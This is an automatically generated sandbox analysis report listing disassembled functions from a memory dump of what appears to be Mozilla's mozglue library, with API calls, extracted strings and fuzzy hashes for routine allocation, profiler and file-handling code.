Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C696590 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

data, xrefs: 6C696593
!oi/, xrefs: 6C6965A3
vml, xrefs: 6C69696C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: !oi/$data$vml
API String ID: 511789754-758792954
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

!oi/, xrefs: 6C68D5DC, 6C68D7AC
Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: !oi/$Wel$|Enabled
API String ID: 4142949111-1231484559
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6605F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

!oi/, xrefs: 6C660601

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: !oi/
API String ID: 0-845032489
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Strings

!oi/, xrefs: 6C6B14B2

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID: !oi/
API String ID: 1909280232-845032489
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Strings

!oi/, xrefs: 6C6A9F4F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: !oi/
API String ID: 956590011-845032489
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C65B61E), ref: 6C65B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B79A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction ID: 25f7ad8c1ce3fb9c4c211db8e93f4453b592f1bf7e2131b02846affe1d512b41
Opcode Fuzzy Hash: b6f95eb9980117f64b0a6e82c9f44ffb228db0619a477cfe8d4454a6a340f864
Instruction Fuzzy Hash: 5C41D5B2D001159FCB04DF68DC806AFB7B5FF85324F650669E825E7780E731A9148BE9

Function 6C65EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6D5104), ref: 6C65EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65EFEC
free.MOZGLUE(?), ref: 6C65F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C65F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C65F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F065
moz_xmalloc.MOZGLUE ref: 6C65F072

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction ID: 25846d7eb8670091aa041ee8526c5cda146169a1046695fd6905bd7ecf1497d7
Opcode Fuzzy Hash: 49165111de3c03516b95465da52a387b2934844702cccbe047f897deb7366f25
Instruction Fuzzy Hash: 4441E9B1A001059FCB08CF68DC909AE7769FF85318B34062CE926D7794EB71E915C7EA

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C654DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Strings

!oi/, xrefs: 6C654DF6

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: !oi/
API String ID: 713647276-845032489
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C68F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

!oi/, xrefs: 6C68F44E
\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: !oi/$\oleacc.dll
API String ID: 2595878907-1103023454
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C6BAD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
